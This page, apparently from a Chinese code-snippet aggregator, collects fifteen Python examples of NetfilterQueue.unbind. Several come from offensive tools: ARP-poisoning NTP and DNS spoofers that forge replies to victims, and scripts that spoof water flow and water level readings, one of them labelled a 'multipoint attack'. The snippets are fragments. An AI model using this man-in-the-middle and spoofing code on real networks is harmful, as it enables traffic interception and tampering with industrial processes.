本文整理汇总了Python中netfilterqueue.NetfilterQueue.unbind方法的典型用法代码示例。如果您正苦于以下问题:Python NetfilterQueue.unbind方法的具体用法?Python NetfilterQueue.unbind怎么用?Python NetfilterQueue.unbind使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类netfilterqueue.NetfilterQueue
的用法示例。
在下文中一共展示了NetfilterQueue.unbind方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: __init__
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
class PacketFilter:
def __init__(self, filter):
self.filter = filter
def start(self):
set_ip_forwarding(1)
iptables().NFQUEUE()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(0, self.modify)
self.nfqueue.run()
def modify(self, pkt):
#log.debug("Got packet")
data = pkt.get_payload()
packet = IP(data)
for filter in self.filter:
try:
execfile(i)
except Exception:
log.debug("Error occurred in filter", filter)
print_exc()
pkt.set_payload(str(packet)) #set the packet content to our modified version
pkt.accept() #accept the packet
def stop(self):
self.nfqueue.unbind()
set_ip_forwarding(0)
iptables().flush()
示例2: main
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def main(argv):
spoofer = NTPSpoof()
spoofer.getCommandlineOpts(argv)
print "[===>] Using %s interface" % spoofer.interface
# trying to resolve gateway mac
spoofer.gateway_mac = spoofer.getMac(spoofer.gateway_ip)
if spoofer.gateway_mac is None:
print "[ERROR] Couldn't receive gateway MAC."
sys.exit()
else:
print "[===>] Gatway: IP=%s | MAC=%s " % (spoofer.gateway_ip,
spoofer.gateway_mac)
# trying to resolve target mac
spoofer.target_mac = spoofer.getMac(spoofer.target_ip)
if spoofer.target_mac is None:
print "[ERROR] Couldn't receive target MAC."
sys.exit()
else:
print "[===>] Target: IP=%s | MAC=%s " % (spoofer.target_ip,
spoofer.target_mac)
# start poisoning in different thread
poison_thread = threading.Thread(target = spoofer.poisonTarget)
poison_thread.start()
# put incoming ntp-replies into a queue for manipulation
print "[===>] Setting iptables for queuing"
os.system('iptables -A FORWARD -j NFQUEUE --queue-num 1')
# create netfilterqueue interface and bind to nfqueue #1
nfqueue = NetfilterQueue()
nfqueue.bind(1,spoofer.callback)
try:
# run queue
nfqueue.run()
except KeyboardInterrupt:
# unbind nfqueue and reset iptables
print "[===>] Resetting iptables"
nfqueue.unbind()
os.system('iptables -F')
finally:
# stop poisoning and wait for thread
POISON = False
time.sleep(2)
# restore after poisoning
print "[===>] Restoring targets ARP-Cache"
spoofer.restoreTarget()
sys.exit()
示例3: __init__
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
class PacketFilter:
def __init__(self, filter):
self.filter = filter
def start(self):
set_ip_forwarding(1)
iptables().NFQUEUE()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(1, self.modify)
t = threading.Thread(name='packetparser', target=self.nfqueue.run)
t.setDaemon(True)
t.start()
def modify(self, pkt):
#log.debug("Got packet")
data = pkt.get_payload()
packet = IP(data)
try:
execfile(self.filter)
except Exception:
log.debug("Error occurred in filter")
print_exc()
pkt.set_payload(str(packet)) #set the packet content to our modified version
pkt.accept() #accept the packet
def stop(self):
self.nfqueue.unbind()
set_ip_forwarding(0)
iptables().flush()
示例4: DNSspoof
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
class DNSspoof(object):
name = "DNS spoofing"
desc = "Filter DNS packets while in man-in-the-middle and modify packet."
version = "0.3"
def __init__(self,fake):
self.fake = fake
def callback(self, packet):
payload = packet.get_payload()
pkt = IP(payload)
if not pkt.haslayer(DNSQR):
packet.accept()
else:
if self.inject != None:
new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
packet.set_payload(str(new_pkt))
packet.accept()
elif self.domain in pkt[DNS].qd.qname:
new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
packet.set_payload(str(new_pkt))
packet.accept()
else:
packet.accept()
self.currentdomain = str(pkt[DNS].qd.qname)
def spoof(self):
try:
self.q = NetfilterQueue()
self.q.bind(1, self.callback)
self.q.run()
except Exception as e:
print "[*] Exception caught: {}".format(e)
def stop(self):
self.q.unbind()
os.system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
def getdomain(self):
return self.currentdomain
def start(self,domain,inject):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
self.domain = domain
self.inject = inject
t = threading.Thread(name='DNSspoof', target=self.spoof)
t.setDaemon(True)
t.start()
示例5: run
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def run():
if importerror == True:
printError("netfilterqueue isn't imported")
printInfo("install the dependencies and reload this module")
print("traceback:\n"+str(error))
return
controller.reset()
printInfo("loading host list...")
try:
hostfile = open(getpath.conf()+"hosts", "r").read()
except FileNotFoundError:
printError("host list not found")
return
except PermissionError:
printError("permission denied")
for line in hostfile.splitlines():
if "#" not in line and len(line.split()) == 2:
hostlist.append(line.split())
for item in hostlist:
try:
item[0] = item[0].encode()
except AttributeError:
pass
try:
item[1] = item[1].encode()
except AttributeError:
pass
if variables["arp_spoof"][0] == "true":
printInfo("ipv4 forwarding...")
os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward')
printInfo("starting arp spoof...")
arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0], controller)
arpspoof.start()
printInfo("ctrl + c to end")
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
try:
q = NetfilterQueue()
q.bind(1, callback)
try:
q.run()
except KeyboardInterrupt:
controller.kill = True
q.unbind()
os.system('iptables -F')
os.system('iptables -X')
printInfo("dns spoof ended")
except:
printError("unexcepted error:\n")
traceback.print_exc(file=sys.stdout)
controller.kill = True
if variables["arp_spoof"][0] == "true":
printInfo("stopping arp spoof")
arpspoof.join()
示例6: main
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def main():
parse_arg_and_patterns()
nfqueue = NetfilterQueue()
nfqueue.bind(1, pkt_check)
try:
nfqueue.run()
except KeyboardInterrupt:
print
finally:
nfqueue.unbind()
示例7: launch_nfqueue
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def launch_nfqueue(num):
nfqueue = NetfilterQueue()
nfqueue.bind(num, callback)
sleep(1)
while lock([])[0] is False:
print '#'*10 + '-'*10 + '> Bound to queue %s <'%num + '-'*10 +'#'*10
nfqueue.run()
print '#'*10 + '-'*10 + '> Queue %s had to restart <'%num + '-'*10 + '#'*10
print '#'*10 + '-'*10 + '> Queue %s got SIGSTOP <'%num + '-'*10 + '#'*10
nfqueue.unbind()
示例8: start
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def start():
__setup()
nfqueue = NetfilterQueue()
nfqueue.bind(0, __inject)
try:
print("[*] starting water flow spoofing")
nfqueue.run()
except KeyboardInterrupt:
__setdown()
print("[*] stopping water flow spoofing")
nfqueue.unbind()
示例9: main
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def main():
q = NetfilterQueue()
q.bind(1,process)
try:
print "Binding"
#q.try_run()
q.run()
except KeyboardInterrupt:
print "Exiting..."
q.unbind()
sys.exit(1)
示例10: run
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def run(self):
# This is the intercept
q = NetfilterQueue()
q.bind(1, self.callback)
t = threading.Thread(target=self.__run_threaded, args=(q,))
t.daemon = True
t.start()
while not self.event.is_set():
self.configurator()
print("DNSspoofer finishing!")
q.unbind()
示例11: packet_filter
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def packet_filter():
nfq = NetfilterQueue()
nfq.bind(1, pkt_filter_callback)
try:
print 'Controller packet filtering mode'
nfq.run()
except KeyboardInterrupt:
print 'Quitting packet filter'
nfq.unbind()
raise KeyboardInterrupt
示例12: start
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def start():
__setup()
nfqueue = NetfilterQueue()
nfqueue.bind(0, __inject)
try:
print("[*] starting water level spoofing")
nfqueue.run()
except KeyboardInterrupt:
__setdown()
thread.stop()
thread.join()
nfqueue.unbind()
print("[*] stopping water level spoofing")
return 0
示例13: NFQueue
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
class NFQueue(multiprocessing.Process):
_nfqueue = None
_queues = []
def __init__(self, queues):
multiprocessing.Process.__init__(self)
self._queues = queues
self._nfqueue = NetfilterQueue()
def handle_pkt(self, queue, pkt):
logger.debug('Queue %s pkt len %s content %s' %
(queue, pkt.get_payload_len(), pkt))
print('Queue %s pkt len %s content %s' %
(queue, pkt.get_payload_len(), pkt))
o_pkt = IP(pkt.get_payload())
m = MPLS(label=0x9, cos = 0x3)
#new_pkt = Ether(type=0x8847)/m/o_pkt
new_pkt = Ether()/o_pkt
#new_pkt = o_pkt/Raw('FFFFFF'+ pkt.get_payload())
send(new_pkt)
new_pkt.show()
pkt.drop()
# pkt.accept()
def run(self):
for i in self._queues:
self._nfqueue.bind(i, curry(self.handle_pkt, i))
logger.info("Bind queue %s" % i)
try:
self._nfqueue.run()
except ValueError:
logger.debug("STOPPPED due to invalid configuration ")
self.cleanup()
except KeyboardInterrupt:
logger.debug("STOPPPED due to user keyboard input ")
self.cleanup()
except:
logger.debug("STOPPPED due to user keyboard input ")
self.cleanup()
def cleanup(self):
logger.debug("packet handler cleaning up ")
self._nfqueue.unbind()
def stop(self):
logger.debug("packet handler stopped ")
self.cleanup()
示例14: start
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def start():
__setup()
nfqueue = NetfilterQueue()
nfqueue.bind(0, __inject)
try:
print(datetime.datetime.now())
print("[*] starting multipoint attack")
nfqueue.run()
except KeyboardInterrupt:
__setdown()
print("[*] stopping multipoint attack")
print(datetime.datetime.now())
nfqueue.unbind()
return 1
示例15: start
# 需要导入模块: from netfilterqueue import NetfilterQueue [as 别名]
# 或者: from netfilterqueue.NetfilterQueue import unbind [as 别名]
def start():
__setup()
nfqueue = NetfilterQueue()
nfqueue.bind(0, __inject)
thread = RepeatEvery(1, update_attack_level)
try:
print("[*] starting water level spoofing")
thread.start()
nfqueue.run()
except KeyboardInterrupt:
__setdown()
thread.stop()
thread.join()
nfqueue.unbind()
print("[*] stopping water level spoofing")